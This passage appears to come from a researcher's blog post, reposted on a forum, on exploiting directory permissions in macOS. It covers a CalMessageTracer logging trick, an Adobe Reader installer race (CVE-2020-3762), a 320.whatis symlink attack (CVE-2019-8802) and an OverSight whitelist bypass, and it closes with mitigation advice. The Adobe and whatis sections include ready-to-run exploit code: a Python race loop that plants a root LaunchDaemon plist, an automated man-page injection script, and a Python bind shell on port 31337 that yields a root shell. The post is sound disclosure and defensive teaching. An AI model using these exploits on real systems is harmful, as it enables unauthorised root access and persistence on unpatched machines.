CalMessageTracer function. This function can be found in the CalendarFoundation binary, which is here: /System/Library/PrivateFrameworks//CalendarFoundation.framework/Versions/Current/CalendarFoundation. If we check the function we can see that indeed it will use the ASL API: But things weren’t as straightforward. If we track the CalDAV account refresh completed string / argument, we can see that it’s the first parameter of the CalMessageTracer function. Its life will be: var_78 = [arg2 retain]; (...) r13 = var_78; (...) and then we get to this huge blob: if (r13 != 0x0) { if (*(int32_t *)_CalLogCurrentLevel != 0x0) { rbx = [_CalLogWhiteList() retain]; r13 = [rbx containsObject:*_CalFoundationNS_Log_MessageTrace]; [rbx release]; COND = r13 != 0x1; r13 = var_78; if (!COND) { CFAbsoluteTimeGetCurrent(); _CalLogActual(*_CalFoundationNS_Log_MessageTrace, 0x0, "+[CalMessageTracer log:domain:signature:signature2:result:value:value2:value3:uid:uid2:wakeState:summarize:]", @"%@", r13, r9, stack[-152]); } } else { CFAbsoluteTimeGetCurrent(); _CalLogActual(*_CalFoundationNS_Log_MessageTrace, 0x0, "+[CalMessageTracer log:domain:signature:signature2:result:value:value2:value3:uid:uid2:wakeState:summarize:]", @"%@", r13, r9, stack[-152]); } asl_log(0x0, r15, 0x5, "%s", [objc_retainAutorelease(r13) UTF8String]); r14 = var_38; } So if there is a custom message, additional function calls are involved. This is the point where I stopped, and since CalMessageTracer can already do what I want (it will wrap the ASL API for me) I can use just that. I didn’t need to generate a header file, as I could find it here: macOS_headers/CalMessageTracer.h at master · w0lfschild/macOS_headers · GitHub It wasn’t new, but it worked. #import <Foundation/NSObject.h> @interface CalMessageTracer : NSObject { } + (void)logError:(id)arg1 message:(id)arg2 domain:(id)arg3; + (void)logError:(id)arg1 message:(id)arg2 domain:(id)arg3 uid:(id)arg4; + (void)logException:(id)arg1 message:(id)arg2 domain:(id)arg3; + (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4; + (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4 value:(id)arg5; + (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4 value:(id)arg5 summarize:(BOOL)arg6; + (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4 value:(id)arg5 value2:(id)arg6 uid:(id)arg7; + (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4 value:(id)arg5 value2:(id)arg6 value3:(id)arg7 uid:(id)arg8 uid2:(id)arg9 wakeState:(id)arg10; + (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 signature2:(id)arg4 summarize:(BOOL)arg5; + (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 summarize:(BOOL)arg4; + (void)log:(id)arg1 domain:(id)arg2 summarize:(BOOL)arg3; + (void)traceWithDomain:(id)arg1 value:(id)arg2 summarize:(BOOL)arg3; + (void)traceWithDomain:(id)arg1 signature:(id)arg2 summarize:(BOOL)arg3; + (void)traceWithDomain:(id)arg1 signature:(id)arg2 result:(int)arg3; + (void)traceWithDomain:(id)arg1 signature:(id)arg2 signature2:(id)arg3 summarize:(BOOL)arg4; + (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 signature2:(id)arg4 result:(int)arg5 value:(id)arg6 value2:(id)arg7 value3:(id)arg8 uid:(id)arg9 uid2:(id)arg10 wakeState:(id)arg11 summarize:(BOOL)arg12; + (void)messageTraceLogDomain:(id)arg1 withSignature:(id)arg2; @end What I left to do is create a code that will call the function in its simplest form. Did I say before that I hate the syntax of Objective-C and that I’m not an Apple developer? Patrick Wardle’s post: Reversing ‘pkgutil’ to Verify PKGs came to the rescue. I remembered that he did something similar with pkgutil and he had a step by step walkthrough how to call an external function. Using his post, I created the following code to do the trick: #import <dlfcn.h> #import <Foundation/Foundation.h> #import "CalMessageTracer.h" int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"Hello, World!"); void* tracer = NULL; //load framework tracer = dlopen("/System/Library/PrivateFrameworks/CalendarFoundation.framework/Versions/Current/CalendarFoundation", RTLD_LAZY); if(NULL == tracer) { //bail goto bail; } //class Class CalMessageTracerCl = nil; //obtain class CalMessageTracerCl = NSClassFromString(@"CalMessageTracer"); if(nil == CalMessageTracerCl) { //bail goto bail; } //+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4; [CalMessageTracerCl log:@"your message here" domain:@"com.apple.sleepservices.icalData" signature:@"CalDAV account refresh statistics" result:0x0]; } return 0; bail: return -1; } This will create a log for you, and in the log parameter you can insert you custom string, thus injecting something useful to the ASL binary. Unfortunately this is still not good enough for a direct root code execution, but you might have a use case where this might be enough, where there is some other item where this could be chained. Also hopefully this gave you some ideas how to do some basic reverse engineering when you want to backtrace a function call, and possibly call it in your code. This was fixed in Catalina 10.15.3, with file permissions changed: drwxr-x— 4 root admin 128 Dec 21 12:42 DiagnosticMessages Adobe Reader macOS installer - local privilege escalation (CVE-2020-3762) This is finally a true privilege escalation scenario. It’s in the Adobe Reader’s installer, related to the Acrobat Update Helper.app component. An attacker can replace any file during the installation and the installer will copy that to a new place. Replacing the LaunchDaemon plist file with our own, we can achieve root privileges, and also persistence at the same time. When Adobe Reader is being installed it will create the following folder structure in the /tmp/ directory which is writeable for all users: $ ls -lR com.adobe.AcrobatRefreshManager/ total 528 drwxr-xr-x 3 root wheel 96 Jul 31 16:30 Acrobat Update Helper.app -rwxr-xr-x 1 root wheel 80864 Jul 31 16:36 AcrobatUpdateHelperLib.dylib -rwxr-xr-x 1 root wheel 184512 Jul 31 16:36 AcrobatUpdaterUninstaller drwxr-xr-x 3 root wheel 96 Jul 31 16:35 Adobe Acrobat Updater.app com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app: total 0 drwxr-xr-x 7 root wheel 224 Jul 31 16:37 Contents com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents: total 16 -rw-r--r-- 1 root wheel 1778 Jul 31 16:29 Info.plist drwxr-xr-x 3 root wheel 96 Jul 31 16:37 MacOS -rw-r--r-- 1 root wheel 8 Jul 31 16:29 PkgInfo drwxr-xr-x 3 root wheel 96 Jul 31 16:37 Resources drwxr-xr-x 3 root wheel 96 Jul 31 16:36 _CodeSignature com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/MacOS: total 776 -rwxr-xr-x 1 root wheel 393600 Jul 31 16:36 Acrobat Update Helper com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/Resources: total 8 -rw-r--r-- 1 root wheel 1720 Jul 31 16:29 FileList.txt com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/_CodeSignature: total 8 -rw-r--r-- 1 root wheel 2518 Jul 31 16:36 CodeResources com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app: total 0 drwxr-xr-x 6 root wheel 192 Jul 31 16:37 Contents com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents: total 16 -rw-r--r-- 1 root wheel 2295 Jul 31 16:35 Info.plist drwxr-xr-x 3 root wheel 96 Jul 31 16:35 Library -rw-r--r-- 1 root wheel 8 Jul 31 16:35 PkgInfo drwxr-xr-x 3 root wheel 96 Jul 31 16:37 Resources com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Library: total 0 drwxr-xr-x 6 root wheel 192 Jul 31 16:37 LaunchServices com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Library/LaunchServices: total 728 -rw-r--r-- 1 root wheel 474 Jul 31 16:35 ARMNextCommunicator-Launchd.plist -rw-r--r-- 1 root wheel 486 Jul 31 16:35 SMJobBlessHelper-Launchd.plist -rwxr-xr-x 1 root wheel 176000 Jul 31 16:35 com.adobe.ARMDC.Communicator -rwxr-xr-x 1 root wheel 184528 Jul 31 16:35 com.adobe.ARMDC.SMJobBlessHelper com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Resources: total 480 -rw-r--r-- 1 root wheel 244307 Jul 31 16:35 app.icns csabyworkmac:tmp csaby$ ls -lR com.adobe.AcrobatRefreshManager/ total 528 drwxr-xr-x 3 root wheel 96 Jul 31 16:30 Acrobat Update Helper.app -rwxr-xr-x 1 root wheel 80864 Jul 31 16:36 AcrobatUpdateHelperLib.dylib -rwxr-xr-x 1 root wheel 184512 Jul 31 16:36 AcrobatUpdaterUninstaller drwxr-xr-x 3 root wheel 96 Jul 31 16:35 Adobe Acrobat Updater.app com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app: total 0 drwxr-xr-x 7 root wheel 224 Jul 31 16:37 Contents com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents: total 16 -rw-r--r-- 1 root wheel 1778 Jul 31 16:29 Info.plist drwxr-xr-x 3 root wheel 96 Jul 31 16:37 MacOS -rw-r--r-- 1 root wheel 8 Jul 31 16:29 PkgInfo drwxr-xr-x 3 root wheel 96 Jul 31 16:37 Resources drwxr-xr-x 3 root wheel 96 Jul 31 16:36 _CodeSignature com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/MacOS: total 776 -rwxr-xr-x 1 root wheel 393600 Jul 31 16:36 Acrobat Update Helper com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/Resources: total 8 -rw-r--r-- 1 root wheel 1720 Jul 31 16:29 FileList.txt com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/_CodeSignature: total 8 -rw-r--r-- 1 root wheel 2518 Jul 31 16:36 CodeResources com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app: total 0 drwxr-xr-x 6 root wheel 192 Jul 31 16:37 Contents com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents: total 16 -rw-r--r-- 1 root wheel 2295 Jul 31 16:35 Info.plist drwxr-xr-x 3 root wheel 96 Jul 31 16:35 Library -rw-r--r-- 1 root wheel 8 Jul 31 16:35 PkgInfo drwxr-xr-x 3 root wheel 96 Jul 31 16:37 Resources com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Library: total 0 drwxr-xr-x 6 root wheel 192 Jul 31 16:37 LaunchServices com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Library/LaunchServices: total 728 -rw-r--r-- 1 root wheel 474 Jul 31 16:35 ARMNextCommunicator-Launchd.plist -rw-r--r-- 1 root wheel 486 Jul 31 16:35 SMJobBlessHelper-Launchd.plist -rwxr-xr-x 1 root wheel 176000 Jul 31 16:35 com.adobe.ARMDC.Communicator -rwxr-xr-x 1 root wheel 184528 Jul 31 16:35 com.adobe.ARMDC.SMJobBlessHelper com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Resources: total 480 -rw-r--r-- 1 root wheel 244307 Jul 31 16:35 app.icns During the installation the following files will be copied into /Library/LaunchDaemons. -rw-r--r-- 1 root wheel 474 Jul 31 16:35 ARMNextCommunicator-Launchd.plist -rw-r--r-- 1 root wheel 486 Jul 31 16:35 SMJobBlessHelper-Launchd.plist With a new name: $ ls -l /Library/LaunchDaemons/ | grep adobe total 144 -rw-r--r-- 1 root wheel 474 Nov 11 19:20 com.adobe.ARMDC.Communicator.plist -rw-r--r-- 1 root wheel 486 Nov 11 19:20 com.adobe.ARMDC.SMJobBlessHelper.plist Although these files are all owned by root, and thus we can’t modify them, the location of these files is fixed, thus we can pre-create any of the folders / files. During installation the installer will verify if the folder already exists, and if so, delete it. However between the deletion and recreation there is enough time to recreate the folders with our user. It’s a race condition but in my experiments I always won it. The first step in our exploit is to continuously try to create the following folder: /tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices If we succeed it means that we will own the entire folder structure. At that point it’s ok if Adobe places there any files. Although the files themselves will be owned by root, we are still allowed to delete them as we own the directory. Once we delete the file, we can replace any of them with our own. My target is the plist file which will be copied to the /Library/LaunchDaemon directory. We can also easily win this race condition. The entire exploit can be automated with a short python script: import os import shutil while(1): try: os.system("mkdir -p \"/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices\"") if os.stat('/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices/SMJobBlessHelper-Launchd.plist').st_uid == 0: os.remove("/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices/SMJobBlessHelper-Launchd.plist") shutil.copy2('/Users/Shared/com.adobe.exploit.plist', '/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices/SMJobBlessHelper-Launchd.plist') except: continue The contents of the plist file is the following: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.adobe.ARMDC.SMJobBlessHelper</string> <key>ProgramArguments</key> <array> <string>/bin/bash</string> <string>/Users/Shared/a.sh</string> </array> <key>RunAtLoad</key> <true/> </dict> </plist> a.sh is: touch /Library/adobe.txt As it’s placed inside LaunchDaemons, it will run upon next boot with root privileges. This was fixed in February 11, 2020: https://helpx.adobe.com/security/products/acrobat/apsb20-05.html macOS periodic scripts - 320.whatis script privilege escalation to root (CVE-2019-8802) Finally a tru privilege escalation also on macOS. This is my favorite because of the way I could affect the contents of the file. macOS has a couple of maintenance scripts, that are scheduled to run via the periodic task daily / weekly / monthly. You can read more about them here: Why you should run maintenance scripts on macOS and how to do it Terminal commands, periodic etc - Apple Community The scripts are scheduled by Apple LaunchDaemons, that can be found here: csabymac:LaunchDaemons csaby$ ls -l /System/Library/LaunchDaemons/ | grep periodic -rw-r--r-- 1 root wheel 887 Aug 18 2018 com.apple.periodic-daily.plist -rw-r--r-- 1 root wheel 895 Aug 18 2018 com.apple.periodic-monthly.plist -rw-r--r-- 1 root wheel 891 Aug 18 2018 com.apple.periodic-weekly.plist and these will run by the periodic_wrapper process, which runs as root, more on this process here: periodic-wrapper(8) mojave man page For example the daily PLIST looks like this: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" " [http://www.apple.com/DTDs/PropertyList-1.0.dtd](http://www.apple.com/DTDs/PropertyList-1.0.dtd) "> <plist version="1.0"> <dict> <key>Label</key> <string>com.apple.periodic-daily</string> <key>ProgramArguments</key> <array> <string>/usr/libexec/periodic-wrapper</string> <string>daily</string> </array> <key>LowPriorityIO</key> <true/> <key>Nice</key> <integer>1</integer> <key>LaunchEvents</key> <dict> <key>com.apple.xpc.activity</key> <dict> <key>com.apple.periodic-daily</key> <dict> <key>Interval</key> <integer>86400</integer> <key>GracePeriod</key> <integer>14400</integer> <key>Priority</key> <string>Maintenance</string> <key>AllowBattery</key> <false/> <key>Repeating</key> <true/> </dict> </dict> </dict> <key>AbandonProcessGroup</key> <true/> </dict> </plist> There is a weekly script run by the periodic process as root (just like all the other scripts), found here: /etc/periodic/weekly/320.whatis This script will recreate the whatis database and it will do this with root privileges as we can see through the Monitor.app. It invokes the makewhatis embedded executable to rebuild the database. The makewhatis utility will get the man paths, where /usr/local/share/man is also included. What makes this folder special is that the normal admin user has write access to this without root privileges. ls -l /usr/local/share/ drwxr-xr-x 22 csaby wheel 704 Aug 15 16:26 man If we check further we can see that we also have access to all underlying directories, which is important: mac:man csaby$ ls -l total 0 drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 de drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 es drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 fr drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 hr drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 hu drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 it drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 ja drwxr-xr-x 569 csaby wheel 18208 Aug 15 16:26 man1 drwxr-xr-x 2971 csaby admin 95072 Jun 2 20:18 man3 drwxr-xr-x 20 csaby wheel 640 Jun 2 20:18 man5 drwxr-xr-x 32 csaby wheel 1024 Jun 2 20:18 man7 drwxr-xr-x 22 csaby wheel 704 Jun 2 15:38 man8 drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 pl drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 pt_BR drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 pt_PT drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 ro drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 ru drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 sk drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 zh Since makewhatis will create a file called whatis.tmp and we can create symlinks here, we can redirect this file write to somewhere else. I will chose the folder /Library/LaunchDaemons. If we can place a specially crafted plist file here, it will be loaded by the system as root upon boot time. The same idea as with the Adobe installer. makewhatis will create the whatis database in the following format: FcAtomicCreate(3) - create an FcAtomic object FcAtomicDeleteNew(3) - delete new file FcAtomicDestroy(3) - destroy an FcAtomic object FcAtomicLock(3) - lock a file FcAtomicNewFile(3) - return new temporary file name FcAtomicOrigFile(3) - return original file name The first is the name on the man page derived from the file, and the second is the description taken from the NAME section of the man page. I opted to place my custom PLIST under the NAME section, like this: .SH NAME 7z - <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array> <string>/Applications/Scripts/sample.sh</string></array><key>RunAtLoad</key><true/></dict></plist><!-- The <-- at the end is important as we need to comment out the rest of the database in order to get a proper PLIST file, which is in XML format. We still need to solve 2 issues: The name derived from the filename should make sense in XML, otherwise we get a format error, and the PLIST won’t be loaded Our custom man page has to be the first to be added to the database in order to comment out the rest of the items To solve #2 let’s be sure that we don’t have any man page starting with a number, if we have let’s rename them. I had multiple 7z man pages, so I added an a before the number to move it down. To solve the first issue the name of our file should look like this: <!--7z.1 This is a valid(!) filename on macOS, I took the original 7z.1 man page and renamed it: mv 7z.1 \<\!--7z.1 We will need to close this comment, so my new NAME section looks like this: .SH NAME 7z - --><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array> <string>/Applications/Scripts/sample.sh</string></array><key>RunAtLoad</key><true/></dict></plist><!-- Let’s create our symlink: ln -s /Library/LaunchDaemons/com.sample.Load.plist whatis.tmp We can simulate the execution of the periodic script via this command: sudo /bin/sh - /etc/periodic/weekly/320.whatis or sudo periodic weekly If we check, we got a file, and it starts like this: <!--7z(1) - --><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array> <string>/Applications/Scripts/sample.sh</string></array><key>RunAtLoad</key><true/></dict></plist><! If we load this plist file, it will try to execute the script at /Applications/Scripts/sample.sh. The location is arbitrary. I put this into the script above (be sure to give it execute permissions chmod +x /Applications/Scripts/sample.sh) /Applications/Utilities/Terminal.app/Contents/MacOS/Terminal If we don’t want to reboot the computer we can simulate the load of the PLIST file with: sudo launchctl load com.sample.Load.plist If we want to properly simulate this with a reboot, we can’t start a Terminal, as we won’t see it, we need to do something else. For myself I put a bind shell into that script, and after login, connecting to it I got a root shell, but it’s up to you what you put there. The script contents in this case: #sample.sh python /Applications/Scripts/bind.py The python script, placed at /Applications/Scripts/bind.py #bind.py #!/usr/bin/python2 import os import pty import socket lport = 31337 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', lport)) s.listen(1) (rem, addr) = s.accept() os.dup2(rem.fileno(),0) os.dup2(rem.fileno(),1) os.dup2(rem.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") s.close() if __name__ == "__main__": main() Once logged in you can login with netcat on localhost:31337: mac:LaunchDaemons csaby$ nc 127.1 31337 bash-3.2# id id uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),702(com.apple.sharepoint.group.3),703(com.apple.sharepoint.group.2),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),701(com.apple.sharepoint.group.1) bash-3.2# exit exit I made a Python script to do all the tasks mentioned above: import sys import os man_file_content = """ .TH exploit 1 "August 16 2019" "Csaba Fitzl" .SH NAME exploit \- --> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array> <string>/Applications/Scripts/sample.sh</string></array><key>RunAtLoad</key><true/></dict></plist><!-- """ sh_quick_content = """ /Applications/Utilities/Terminal.app/Contents/MacOS/Terminal """ sh_reboot_content = """ python /Applications/Scripts/bind.py """ python_bind_content = """ #!/usr/bin/python2 import os import pty import socket lport = 31337 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', lport)) s.listen(1) (rem, addr) = s.accept() os.dup2(rem.fileno(),0) os.dup2(rem.fileno(),1) os.dup2(rem.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") s.close() if __name__ == "__main__": main() """ def create_man_file(): print("[i] Creating bogus man page: /usr/local/share/man/man1/<!--exploit.1") f = open('/usr/local/share/man/man1/<!--exploit.1','w') f.write(man_file_content) f.close() def create_symlink(): print("[i] Creating symlink in /usr/local/share/man/") os.system('ln -s /Library/LaunchDaemons/com.sample.Load.plist /usr/local/share/man/whatis.tmp') def create_scripts_dir(): print("[i] Creating /Applications/Scripts directory") os.system('mkdir /Applications/Scripts') def create_quick_scripts(): create_scripts_dir() print("[i] Creating script file to be called by LaunchDaemon") f = open('/Applications/Scripts/sample.sh','w') f.write(sh_quick_content) f.close() os.system('chmod +x /Applications/Scripts/sample.sh') def create_reboot_scripts(): create_scripts_dir() print("[i] Creating script file to be called by LaunchDaemon") f = open('/Applications/Scripts/sample.sh','w') f.write(sh_reboot_content) f.close() os.system('chmod +x /Applications/Scripts/sample.sh') print("[i] Creating python script for bind shell") f = open('/Applications/Scripts/bind.py','w') f.write(python_bind_content) f.close() def rename_man_pages(): for root, dirs, files in os.walk("/usr/local/share/man"): for file in files: if file[0] in "0123456789": #if filename begins with a number old_file = os.path.join(root, file) new_file = os.path.join(root, 'a' + file) os.rename(old_file, new_file) #rename with adding a prefix print("[i] Renaming: " + os.path.join(root, file)) def main(): if len(sys.argv) != 2 : print "[-] Usage: python makewhatis_exploit.py [quick|reboot]" sys.exit (1) if sys.argv[1] == 'quick': create_man_file() create_symlink() create_quick_scripts() rename_man_pages() print "[+] Everything is set, run periodic tasks with:\nsudo periodic weekly\n[i] and then simulate a boot load with: \nsudo launchctl load com.sample.Load.plist" elif sys.argv[1] == 'reboot': create_man_file() create_symlink() create_reboot_scripts() rename_man_pages() print "[+] Everything is set, run periodic tasks with:\nsudo periodic weekly\n[i] reboot macOS and connect to your root shell via:\nnc 127.1 31337" else: print "[-] Invalid arguments" print "[-] Usage: python makewhatis_exploit.py [quick|reboot]" if __name__== "__main__": main() The command line argument has to be set: 1. quick - this will create a shell script which starts Terminal in case you don’t want to reboot the system for testing 2. reboot - this is the proper method to fully test the exploit, it will create the bind shell in this case, and you will need to reboot to get a shell This was fixed in Catalina 10.15.1: About the security content of macOS Catalina 10.15.1, Security Update 2019-001, and Security Update 2019-006 - Apple Support Bypassing OverSight alerts OverSight is a free tool developed by Patrick Wardle to monitor for apps trying to access the user’s microphone or camera, and when it becomes active. OverSight The problem is that a malicious app can bypass OverSight, and silence its notification, due to the possibility of editing the whitelist. The problem: The whitelist.plist is owned by root, but the including directory is owned by the user. csaby@mac OverSight % ls -l total 32 -rw-r--r-- 1 csaby staff 9711 Jan 28 23:51 OverSight.log -rw-r--r-- 1 root staff 513 Jan 21 22:47 whitelist.plist csaby@mac OverSight % ls -l ../ total 0 drwxr-xr-x 4 csaby staff 128 Jan 29 08:51 OverSight This means that the app can delete / move the current whitelist, and add its own, where it can add itself. The whitelist should be stored in a location, where the user can’t tamper it. To add, luckily creating a symlink or hardlink in the place of the whitelist, won’t work, as it will be overwritten. How to avoid these issues? Overall the best if the directory and the file permissions are aligned. Files in a given directory should follow the ownership and rights of the directory, in the cases we saw here, it would involve that processes running as root shouldn’t touch files in directories where the owner is someone else. If you really have to do that, you should protect the file with the uchg flag, so no one, beside a root could modify it. Although there would be still a race condition as for changing the file, the flag has to be lifted up, and then someone could change it. Installers In case of installers using the /tmp/ directory, a randomly generated directory should be created, so someone wouldn’t have the ability to predict that name, and thus pre-create anything there for abuse. If that’s not the case a process like this could be applied: 1. Check if folder owner is root and remove all permissions for others and group users 2. Clean all contents under folder in before any files being copied there When Symlinks are not followed? In case of file moves symlinks or hard links won’t be followed, take a look at the below experiment: $ echo aaa > a $ ln -s a b $ ls -la total 8 drwxr-xr-x 4 csaby staff 128 Sep 11 16:16 . drwxr-xr-x+ 50 csaby staff 1600 Sep 11 16:16 .. -rw-r--r-- 1 csaby staff 4 Sep 11 16:16 a lrwxr-xr-x 1 csaby staff 1 Sep 11 16:16 b -> a $ cat b aaa $ echo bbb >> b $ cat b aaa bbb $ touch c $ ls -l total 8 -rw-r--r-- 1 csaby staff 8 Sep 11 16:16 a lrwxr-xr-x 1 csaby staff 1 Sep 11 16:16 b -> a -rw-r--r-- 1 csaby staff 0 Sep 11 16:25 c $ mv c b $ ls -la total 8 drwxr-xr-x 4 csaby staff 128 Sep 11 16:25 . drwxr-xr-x+ 50 csaby staff 1600 Sep 11 16:16 .. -rw-r--r-- 1 csaby staff 8 Sep 11 16:16 a -rw-r--r-- 1 csaby staff 0 Sep 11 16:25 b Even if we create a hardlink instead of symlink, that will be overwritten like in the 1st case. Basically when you move a file X to location Y, if Y is a *link it will be overwritten. For Objective-C objects, the writeToFile method will not follow symlink, so it’s safe to use. Take this example: #include <stdio.h> #import <Foundation/Foundation.h> int main(void) { NSError *error; BOOL succeed = [@"testing" writeToFile:@"myfile.txt" atomically:YES encoding:NSUTF8StringEncoding error:&error]; } Even if you create a symlink named myfile.txt pointing somewhere, it will be overwritten. This is why OverSight for example won’t follow symlinks, as it uses this method to write out the PLIST file. The End This has been a really long post, and I hope it gave you some ideas how to perform symlink or hardlink based attacks on macOS platforms, as well as I could serve with some ideas around impacting file contents. Sursa: https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/ Quote